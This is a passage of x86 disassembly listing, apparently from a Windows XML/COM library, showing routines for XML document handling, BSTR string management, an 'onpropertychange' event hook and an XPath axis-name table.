sub_69B5E384	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E3D0	proc near		; DATA XREF: .text:69B291E4o

arg_0		= dword	ptr  4
arg_20		= dword	ptr  24h

		push	esi
		push	edi
		push	0
		push	0C00CE38Ch
		call	sub_69B2F944
		pop	ecx
		mov	esi, eax
		mov	eax, [esi]
		pop	ecx
		push	esi
		call	dword ptr [eax+4]
		push	dword ptr [esi+0Ch] ; lpString
		mov	ecx, [esp+0Ch+arg_0]
		push	0		; int
		push	[esp+10h+arg_20] ; int
		add	ecx, 0FFFFFFFCh
		call	sub_69B5E384
		mov	edi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, edi
		pop	edi
		pop	esi
		retn	30h
sub_69B5E3D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E40C	proc near		; DATA XREF: .text:69B291E8o
		push	48h
		push	offset dword_69B5E610
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B5E431
		mov	eax, 80004005h
		jmp	loc_69B5E5E1
; ---------------------------------------------------------------------------


loc_69B5E431:				; CODE XREF: sub_69B5E40C+19j
		mov	dword ptr [ebp-20h], 80004005h
		mov	[ebp-24h], ebx
		mov	[ebp-28h], ebx
		mov	edi, [ebp+8]
		cmp	dword ptr [edi+14h], 1
		jnz	loc_69B5E5C3
		add	edi, 0FFFFFFFCh
		mov	ecx, edi
		call	sub_69B5DAE5
		mov	esi, eax
		mov	[ebp-24h], esi
		cmp	esi, ebx
		jz	loc_69B5E5C3
		lea	eax, [ebp-28h]
		push	eax
		mov	ecx, edi
		call	sub_69B5DCDA
		mov	[ebp-20h], eax
		push	ebx
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-34h]
		call	sub_69B1A8C7
		mov	word ptr [ebp-44h], 9
		cmp	[ebp-20h], ebx
		jl	short loc_69B5E48F
		mov	eax, [ebp-28h]
		mov	[ebp-3Ch], eax
		jmp	short loc_69B5E492
; ---------------------------------------------------------------------------


loc_69B5E48F:				; CODE XREF: sub_69B5E40C+79j
		mov	[ebp-3Ch], ebx


loc_69B5E492:				; CODE XREF: sub_69B5E40C+81j
		lea	eax, [ebp-44h]
		push	eax
		push	offset aXmldocument_0 ;	"XMLDocument"
		call	sub_69B1D494
		push	eax
		push	esi
		call	sub_69B5E93B
		cmp	[ebp-20h], ebx
		jl	loc_69B5E5BB
		cmp	[ebp-28h], ebx
		jz	loc_69B5E5BB
		cmp	eax, ebx
		jge	short loc_69B5E4C5
		mov	[ebp-20h], eax
		jmp	loc_69B5E5BB
; ---------------------------------------------------------------------------


loc_69B5E4C5:				; CODE XREF: sub_69B5E40C+AFj
		push	esi
		mov	ecx, edi
		call	sub_69B5E1BC
		test	eax, eax
		jz	loc_69B5E592
		push	offset dword_69B5E5FC
		push	dword ptr [ebp-28h]
		call	sub_69B2F4B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_69B5E5BB
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B1A587
		mov	[ebp-48h], eax
		mov	ecx, eax
		call	sub_69B2F43C
		mov	[ebp-48h], eax
		mov	eax, [eax+8]
		mov	[ebp-4Ch], eax
		cmp	eax, ebx
		jle	short loc_69B5E575
		mov	[ebp-50h], ebx
		mov	eax, [edi]
		lea	ecx, [ebp-50h]
		push	ecx
		push	offset stru_69B25E84
		push	edi
		call	dword ptr [eax]
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jl	short loc_69B5E575
		mov	[ebp-54h], ebx
		mov	eax, [ebp-50h]
		mov	ecx, [eax]
		lea	edx, [ebp-54h]
		push	edx
		push	offset dword_69B5E5EC
		push	eax
		call	dword ptr [ecx]
		mov	[ebp-20h], eax
		mov	eax, [ebp-50h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		cmp	[ebp-20h], ebx
		jl	short loc_69B5E575
		mov	eax, [ebp+8]
		push	dword ptr [eax+20h] ; lpString
		mov	ecx, [ebp-54h]
		call	sub_69B3745D
		mov	eax, [ebp-54h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp-28h]
		mov	ecx, [eax]
		lea	edx, [ebp-58h]
		push	edx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	dword ptr [ecx+104h]


loc_69B5E575:				; CODE XREF: sub_69B5E40C+100j
					; sub_69B5E40C+118j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B5E58D
; ---------------------------------------------------------------------------


loc_69B5E57B:				; DATA XREF: .text:69B5E614o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5E584:				; DATA XREF: .text:69B5E618o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B5E58D:				; CODE XREF: sub_69B5E40C+16Dj
		mov	[ebp-20h], ebx
		jmp	short loc_69B5E5BB
; ---------------------------------------------------------------------------


loc_69B5E592:				; CODE XREF: sub_69B5E40C+C3j
		push	80070005h
		call	sub_69B1D411
		mov	esi, eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	dword ptr [esi+0Ch] ; lpString
		push	ebx		; int
		push	dword ptr [ebp+20h] ; int
		mov	ecx, edi
		call	sub_69B5E384
		mov	[ebp-20h], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B5E5BB:				; CODE XREF: sub_69B5E40C+9Ej
					; sub_69B5E40C+A7j ...
		lea	ecx, [ebp-34h]
		call	sub_69B1976C


loc_69B5E5C3:				; CODE XREF: sub_69B5E40C+39j
					; sub_69B5E40C+50j
		lea	eax, [ebp-28h]
		push	eax
		call	sub_69B5DACB
		lea	eax, [ebp-24h]
		push	eax
		call	sub_69B5DACB
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B5E5E1:				; CODE XREF: sub_69B5E40C+20j
		call	sub_69B1853C
		retn	28h
sub_69B5E40C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B5E5EC	dd 0A79B04FEh, 11D28B3Ch, 6000D39Ch, 303DECB0h
					; DATA XREF: sub_69B5E40C+126o
dword_69B5E5FC	dd 0F5078F14h, 11D3C551h, 0B989h, 21E21FF8h, 90909090h
					; DATA XREF: sub_69B5E40C+C9o
dword_69B5E610	dd 0FFFFFFFFh			dd offset loc_69B5E57B
		dd offset loc_69B5E584

; =============== S U B	R O U T	I N E =======================================



sub_69B5E61C	proc near		; DATA XREF: .text:69B29238o
					; .text:69B5CF28o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx+4]
		lea	edx, [eax+1]
		mov	[ecx+4], edx
		retn	4
sub_69B5E61C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E62C	proc near		; DATA XREF: .text:69B2923Co
					; .text:69B5CF2Co

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		dec	dword ptr [ecx+4]
		mov	eax, [ecx+4]
		jnz	short locret_69B5E641
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+1Ch]
		xor	eax, eax

locret_69B5E641:			; CODE XREF: sub_69B5E62C+Aj
		retn	4
sub_69B5E62C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E644	proc near		; DATA XREF: .text:69B5CF3Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0FFFFFD9Fh
		jz	short loc_69B5E66E
		cmp	[esp+arg_4], 0C6h
		jz	short loc_69B5E65F
		mov	eax, 80020003h
		jmp	short locret_69B5E67A
; ---------------------------------------------------------------------------


loc_69B5E65F:				; CODE XREF: sub_69B5E644+12j
		mov	eax, [esp+arg_0]
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short locret_69B5E67A
; ---------------------------------------------------------------------------


loc_69B5E66E:				; CODE XREF: sub_69B5E644+8j
		mov	eax, [esp+arg_0]
		mov	eax, [eax+18h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]

locret_69B5E67A:			; CODE XREF: sub_69B5E644+19j
					; sub_69B5E644+28j
		retn	24h
sub_69B5E644	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E67D	proc near		; CODE XREF: sub_69B5E846+3p
		mov	dword ptr [ecx], offset	off_69B29234
		mov	ecx, [ecx+1Ch]
		test	ecx, ecx
		jz	short locret_69B5E690
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_69B5E690:			; CODE XREF: sub_69B5E67D+Bj
		retn
sub_69B5E67D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B5E691(LPCWSTR lpStr1, int, int, int, int, int, int, int,	int)

sub_69B5E691	proc near		; DATA XREF: .text:69B2924Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpStr1		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+lpStr1]
		mov	eax, [edi+1Ch]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+0D4h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5E718
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B5E728
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5E70F
		mov	eax, [ebp+var_4]
		and	[ebp+lpStr1], 0
		mov	ecx, [eax]
		lea	edx, [ebp+lpStr1]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	esi, eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	esi, esi
		jl	short loc_69B5E706
		push	3		; nChar
		push	offset aSrc	; "src"
		push	[ebp+lpStr1]	; lpStr1
		call	ds:StrCmpNIW	; StrCmpNIW
		test	eax, eax
		jnz	short loc_69B5E706
		mov	eax, [edi+18h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax


loc_69B5E706:				; CODE XREF: sub_69B5E691+55j
					; sub_69B5E691+69j
		push	[ebp+lpStr1]	; BSTR
		call	SysFreeString


loc_69B5E70F:				; CODE XREF: sub_69B5E691+35j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5E718:				; CODE XREF: sub_69B5E691+1Ej
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	24h
sub_69B5E691	endp

; ---------------------------------------------------------------------------
; const	WCHAR aSrc
aSrc:					; DATA XREF: sub_69B5E691+59o
		unicode	0, <src>,0
dword_69B5E728	dd 3050F48Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B5E738(int, int, OLECHAR *, int)

sub_69B5E738	proc near		; CODE XREF: sub_69B5D8D8+4Fp
					; sub_69B5E892+9Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B5E7B4
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5E7AC
		push	edi
		push	[ebp+arg_8]	; OLECHAR *
		call	SysAllocString
		cmp	[ebp+arg_C], 0
		mov	edi, eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		jz	short loc_69B5E78E
		lea	edx, [ebp+arg_0+2]
		push	edx
		push	[ebp+arg_4]
		push	edi
		push	eax
		call	dword ptr [ecx+108h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5E79B
		cmp	word ptr [ebp+arg_0+2],	0
		jnz	short loc_69B5E79B
		mov	esi, 80004005h
		jmp	short loc_69B5E79B
; ---------------------------------------------------------------------------


loc_69B5E78E:				; CODE XREF: sub_69B5E738+31j
		push	[ebp+arg_4]
		push	edi
		push	eax
		call	dword ptr [ecx+10Ch]
		mov	esi, eax


loc_69B5E79B:				; CODE XREF: sub_69B5E738+46j
					; sub_69B5E738+4Dj ...
		push	edi		; BSTR
		call	SysFreeString
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		pop	edi


loc_69B5E7AC:				; CODE XREF: sub_69B5E738+1Aj
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B5E738	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B5E7B4	dd 3050F434h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B	R O U T	I N E =======================================



sub_69B5E7C4	proc near		; CODE XREF: sub_69B5CF03+8p
					; sub_69B5E861+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, ecx
		mov	dword ptr [eax+4], 1
		lea	edi, [eax+8]
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		retn	4
sub_69B5E7C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5E7DF	proc near		; DATA XREF: .text:off_69B29234o
					; .text:off_69B5CF24o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_69B5E7F0
		mov	eax, 80004003h
		jmp	short loc_69B5E842
; ---------------------------------------------------------------------------


loc_69B5E7F0:				; CODE XREF: sub_69B5E7DF+8j
		and	dword ptr [edx], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	4
		xor	eax, eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		mov	esi, offset dword_69B2AFE0
		repe cmpsd
		jz	short loc_69B5E82A
		mov	edi, [ebp+arg_4]
		push	4
		pop	ecx
		lea	esi, [eax+8]
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B5E82A
		mov	edi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	esi, offset stru_69B1CA6C
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B5E83A


loc_69B5E82A:				; CODE XREF: sub_69B5E7DF+29j
					; sub_69B5E7DF+38j
		test	eax, eax
		mov	[edx], eax
		jz	short loc_69B5E83A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax
		jmp	short loc_69B5E83F
; ---------------------------------------------------------------------------


loc_69B5E83A:				; CODE XREF: sub_69B5E7DF+49j
					; sub_69B5E7DF+4Fj
		mov	eax, 80004002h


loc_69B5E83F:				; CODE XREF: sub_69B5E7DF+59j
		pop	edi
		pop	esi
		pop	ebx


loc_69B5E842:				; CODE XREF: sub_69B5E7DF+Fj
		pop	ebp
		retn	0Ch
sub_69B5E7DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E846	proc near		; DATA XREF: .text:69B29250o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B5E67D
		test	[esp+4+arg_0], 1
		jz	short loc_69B5E85B
		push	esi
		call	sub_69B1B2B7


loc_69B5E85B:				; CODE XREF: sub_69B5E846+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5E846	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5E861	proc near		; CODE XREF: sub_69B5E892+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset stru_69B1CA6C
		mov	esi, ecx
		call	sub_69B5E7C4
		mov	eax, [esp+4+arg_0]
		mov	[esi+18h], eax
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	dword ptr [esi], offset	off_69B29234
		mov	[esi+1Ch], eax
		jz	short loc_69B5E88C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B5E88C:				; CODE XREF: sub_69B5E861+23j
		mov	eax, esi
		pop	esi
		retn	8
sub_69B5E861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5E892	proc near		; CODE XREF: sub_69B5D064+B3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		and	dword ptr [esi], 0
		mov	eax, [ebx]
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		call	dword ptr [eax+9Ch]
		test	eax, eax
		jl	short loc_69B5E91A
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+arg_0]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	edi, edi
		jl	short loc_69B5E919
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1B0h]
		mov	edi, eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		test	edi, edi
		jl	short loc_69B5E919
		push	20h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B5E90C
		push	[ebp+var_4]
		mov	ecx, eax
		push	[ebp+arg_8]
		call	sub_69B5E861
		jmp	short loc_69B5E90E
; ---------------------------------------------------------------------------


loc_69B5E90C:				; CODE XREF: sub_69B5E892+69j
		xor	eax, eax


loc_69B5E90E:				; CODE XREF: sub_69B5E892+78j
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B5E919:				; CODE XREF: sub_69B5E892+3Fj
					; sub_69B5E892+5Ej
		pop	edi


loc_69B5E91A:				; CODE XREF: sub_69B5E892+1Ej
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_69B5E927
		mov	eax, 8007000Eh
		jmp	short loc_69B5E935
; ---------------------------------------------------------------------------


loc_69B5E927:				; CODE XREF: sub_69B5E892+8Cj
		push	1		; int
		push	offset aOnpropertychan ; "onpropertychange"
		push	eax		; int
		push	ebx		; int
		call	sub_69B5E738


loc_69B5E935:				; CODE XREF: sub_69B5E892+93j
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B5E892	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5E93B	proc near		; CODE XREF: sub_69B5D064+7Ep
					; sub_69B5E40C+96p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	ebx, [ebp+arg_0]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+9Ch]
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	loc_69B5EA0A
		test	eax, eax
		jl	loc_69B5EA0A
		and	[ebp+arg_0], 0
		mov	eax, [ecx]
		lea	edx, [ebp+arg_0]
		push	edx
		push	(offset	loc_69B2B07C+4)
		push	ecx
		call	dword ptr [eax]
		mov	esi, eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_69B5EA0F
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4+2]
		push	edx
		push	eax
		call	dword ptr [ecx+0B8h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5E9FF
		cmp	word ptr [ebp+arg_4+2],	0FFFFh
		jz	short loc_69B5E9CB
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+0B4h]
		mov	esi, eax


loc_69B5E9CB:				; CODE XREF: sub_69B5E93B+7Ej
		test	esi, esi
		jl	short loc_69B5E9FF
		mov	esi, [ebp+arg_8]
		mov	eax, [ebx]
		push	1
		sub	esp, 10h
		mov	edi, esp
		push	[ebp+var_8]
		movsd
		movsd
		movsd
		push	ebx
		movsd
		call	dword ptr [eax+1Ch]
		cmp	word ptr [ebp+arg_4+2],	0FFFFh
		mov	esi, eax
		jz	short loc_69B5E9FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+0B4h]
		mov	esi, eax


loc_69B5E9FF:				; CODE XREF: sub_69B5E93B+77j
					; sub_69B5E93B+92j ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_69B5EA0F
; ---------------------------------------------------------------------------


loc_69B5EA0A:				; CODE XREF: sub_69B5E93B+34j
					; sub_69B5E93B+3Cj
		mov	esi, 80004005h


loc_69B5EA0F:				; CODE XREF: sub_69B5E93B+64j
					; sub_69B5E93B+CDj
		push	[ebp+var_8]	; BSTR
		call	SysFreeString
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B5E93B	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B5EA21(int, int, VARIANTARG *pvarg)

sub_69B5EA21	proc near		; CODE XREF: .text:69B5D37Dp
					; sub_69B77AF4+21p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
pvarg		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [eax+0Ch]
		push	esi
		push	edi
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		push	[esp+8+pvarg]	; pvarg
		mov	esi, eax
		call	VariantInit
		push	[esp+8+pvarg]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [eax]
		push	0
		push	esi
		push	eax
		call	dword ptr [ecx+20h]
		push	esi		; BSTR
		mov	edi, eax
		call	SysFreeString
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_69B5EA21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EA61	proc near		; CODE XREF: sub_69B5EBFB+4p
					; sub_69B5F498+9p ...
		inc	dword ptr [ecx+48h]
		cmp	dword ptr [ecx+48h], 400h
		jle	short locret_69B5EA77
		push	8007000Eh
		call	sub_69B2E8B8

locret_69B5EA77:			; CODE XREF: sub_69B5EA61+Aj
		retn
sub_69B5EA61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EA78	proc near		; CODE XREF: sub_69B5EB96+7p
					; sub_69B5EBA5+17p ...
		cmp	word ptr [ecx+0Eh], 0
		jz	short locret_69B5EA8F
		mov	eax, [ecx+18h]
		mov	dx, [eax]
		add	eax, 2
		mov	[ecx+0Eh], dx
		mov	[ecx+18h], eax

locret_69B5EA8F:			; CODE XREF: sub_69B5EA78+5j
		retn
sub_69B5EA78	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EA90	proc near		; CODE XREF: sub_69B3D903+35p
					; DATA XREF: .text:69B12B94o
		mov	eax, offset off_69B5EA98
		retn
sub_69B5EA90	endp

; ---------------------------------------------------------------------------
		align 4
off_69B5EA98	dd offset dword_69B18894 ; DATA	XREF: sub_69B5EA90o
		dd offset sub_69B6860C

; =============== S U B	R O U T	I N E =======================================



sub_69B5EAA0	proc near		; CODE XREF: sub_69B5F23C+8Dp
					; sub_69B5F23C+CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B5EABC
		cmp	[esp+arg_4], 0
		jz	short locret_69B5EAD7
		push	[esp+arg_4]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+48h]
		jmp	short locret_69B5EAD7
; ---------------------------------------------------------------------------


loc_69B5EABC:				; CODE XREF: sub_69B5EAA0+6j
		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short locret_69B5EAD7
		push	offset off_69B1A5AC
		call	sub_69B65631
		lea	ecx, [eax+8]
		neg	eax
		sbb	eax, eax
		and	eax, ecx

locret_69B5EAD7:			; CODE XREF: sub_69B5EAA0+Dj
					; sub_69B5EAA0+1Aj ...
		retn	8
sub_69B5EAA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EADA	proc near		; CODE XREF: sub_69B5FEEC+91p
					; sub_69B60077+16p ...
		mov	eax, [ecx+20h]
		cmp	eax, 0FFFFFFBEh
		jg	short loc_69B5EAF9
		cmp	eax, 0FFFFFFBDh
		jge	short loc_69B5EB08
		cmp	eax, 0FFFFFFB5h
		jz	short loc_69B5EB08
		cmp	eax, 0FFFFFFB8h
		jle	short loc_69B5EAF6
		cmp	eax, 0FFFFFFBAh
		jle	short loc_69B5EB08


loc_69B5EAF6:				; CODE XREF: sub_69B5EADA+15j
					; sub_69B5EADA+22j ...
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_69B5EAF9:				; CODE XREF: sub_69B5EADA+6j
		cmp	eax, 0FFFFFFFDh
		jl	short loc_69B5EAF6
		cmp	eax, 0FFFFFFFEh
		jle	short loc_69B5EB08
		cmp	eax, 24h
		jnz	short loc_69B5EAF6


loc_69B5EB08:				; CODE XREF: sub_69B5EADA+Bj
					; sub_69B5EADA+10j ...
		mov	al, 1
		retn
sub_69B5EADA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EB0B	proc near		; CODE XREF: sub_69B5F881+218p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		push	8
		push	offset off_69B5EB38
		call	sub_69B63D0A
		test	eax, eax
		jnz	short loc_69B5EB2A
		xor	al, al
		jmp	short loc_69B5EB32
; ---------------------------------------------------------------------------


loc_69B5EB2A:				; CODE XREF: sub_69B5EB0B+19j
		mov	eax, [eax+4]
		mov	[esi+20h], eax
		mov	al, 1


loc_69B5EB32:				; CODE XREF: sub_69B5EB0B+1Dj
		pop	esi
		retn	8
sub_69B5EB0B	endp

; ---------------------------------------------------------------------------
		align 4
off_69B5EB38	dd offset aAncestor	; DATA XREF: sub_69B5EB0B+Do
					; "ancestor"
		dd 0FFFFFFBEh
		dd offset aAncestorOrSelf ; "ancestor-or-self"
		dd 0FFFFFFBDh
		dd offset aAttribute	; "attribute"
		dd 0FFFFFFBCh
		dd offset aChild	; "child"
		dd 0FFFFFFBBh
		dd offset aDescendant	; "descendant"
		dd 0FFFFFFBAh
		dd offset aDescendantOrSe ; "descendant-or-self"
		dd 0FFFFFFB9h
		dd offset aParent	; "parent"
		dd 0FFFFFFB5h
		dd offset aSelf		; "self"
		dd 0FFFFFFB2h

; =============== S U B	R O U T	I N E =======================================



sub_69B5EB78	proc near		; CODE XREF: sub_69B5EBFB+Dp
					; sub_69B5EBFB+2Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		cmp	[esi+20h], eax
		jz	short loc_69B5EB92
		push	eax
		call	sub_69B61B61
		push	eax
		mov	ecx, esi
		call	sub_69B62438


loc_69B5EB92:				; CODE XREF: sub_69B5EB78+Aj
		pop	esi
		retn	4
sub_69B5EB78	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EB96	proc near		; CODE XREF: sub_69B5F881+224p
					; sub_69B62EAF+7Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+18h], eax
		call	sub_69B5EA78
		retn	4
sub_69B5EB96	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EBA5	proc near		; CODE XREF: sub_69B5F12B+64p
					; sub_69B5F23C+B0p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B5EBC8
		or	word ptr [esi+0Eh], 0FFFFh
		mov	[esi+10h], edi
		mov	[esi+18h], edi
		call	sub_69B5EA78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B5EBC8:				; CODE XREF: sub_69B5EBA5+Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8
sub_69B5EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5EBCF	proc near		; CODE XREF: sub_69B6F741-57173p
					; sub_69B5EEC0+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jnz	short loc_69B5EBE6
		push	dwTlsIndex
		call	dword_69B92970


loc_69B5EBE6:				; CODE XREF: sub_69B5EBCF+9j
		mov	[esi+4], eax
		mov	ecx, [eax+1Ch]
		mov	[esi], ecx
		mov	ecx, [esp+4+arg_0]
		mov	[eax+1Ch], ecx
		mov	eax, esi
		pop	esi
		retn	8
sub_69B5EBCF	endp


; =============== S U B	R O U T	I N E =======================================



